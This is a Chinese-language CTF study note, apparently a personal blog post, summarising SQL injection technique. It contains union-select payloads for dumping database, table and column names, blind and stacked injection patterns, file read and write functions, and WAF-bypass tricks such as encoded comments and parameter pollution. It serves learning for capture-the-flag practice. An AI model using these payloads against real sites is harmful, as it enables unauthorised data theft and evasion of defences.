477 字
2 分钟
【CTF笔记】SQL漏洞
闭合类型
数字型、字符型(包含单引号、双引号、括号和其复合型)
常用函数
user():当前数据库用户database():当前数据库名version():当前使用的数据库版本@@datadir:数据库存储数据路径concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)group_concat():和 concat() 类似,如 group_concat(distinct+user,0x3a,password),用于把多条数据一次注入出来concat_ws():用法类似hex() 和 unhex():用于 hex 编码解码ascii():返回字符的 ascii 码值char():把整数转换为对应的字符load_file():以文本方式读取文件,在 windows 中,路径设置为 \\select xxoo into outfile '路径':权限较高时可直接写文件
注入类型
数字型
union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()union select group_concat(column_name),2 from information_schema.columns where table_schema=database()
字符型
union select 1,schema_name,2 from information_schema.schemataunion select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database()
布尔盲注型
用于回显没有确切值的时候,先判断长度(用二分)
and length(var) > numand length(var) < numand length(var) = num
再判断对应值
and substr(var,1,1) > 'char'and substr(var,1,1) < 'char'and substr(var,1,1) = 'char'
时间盲注型
用时间来判断值的情况
//当满足条件时,执行value_if_true,否则执行value_if_falseif(condition, value_if_true, value_if_false)
堆叠注入
用 ; 结束之前的sql语句,在后面再插入其他语句(如insert、update等)
waf绕过
通过增加特殊字符绕过
符号 | 对应 | 作用 |
---|---|---|
%23 | url编码# | 注释 |
%0a | url编码换行 | 换行 |
%20 | url编码空格 | 空格 |
/**/ | mysql注释 | 分割语句或空格 |
http参数污染
web服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
php/apache | $_get(“par”) | last |
jsp/tomcat | request.getparameter(“par”) | first |
perl(cgi)/apache | param(“par”) | first |
python/apache | getvalue(“par”) | all(list) |
asp/iis | request.querystring(“par”) | all(comma-delimited string) |
数据库特性
mysql中,使用 /!select 1,2,3/; 可以执行语句 select 1,2,3; 和其他一些可以绕过的 union select 语句
接受参数
形如:index.php/1.txt?id=1其接受参数还是id=1
更改user-agent头
sqlmap的随机ua头、百度等搜索引擎的ua头
其他
代理池、延时等
【CTF笔记】SQL漏洞
https://fuwari.vercel.app/posts/2025-02-08/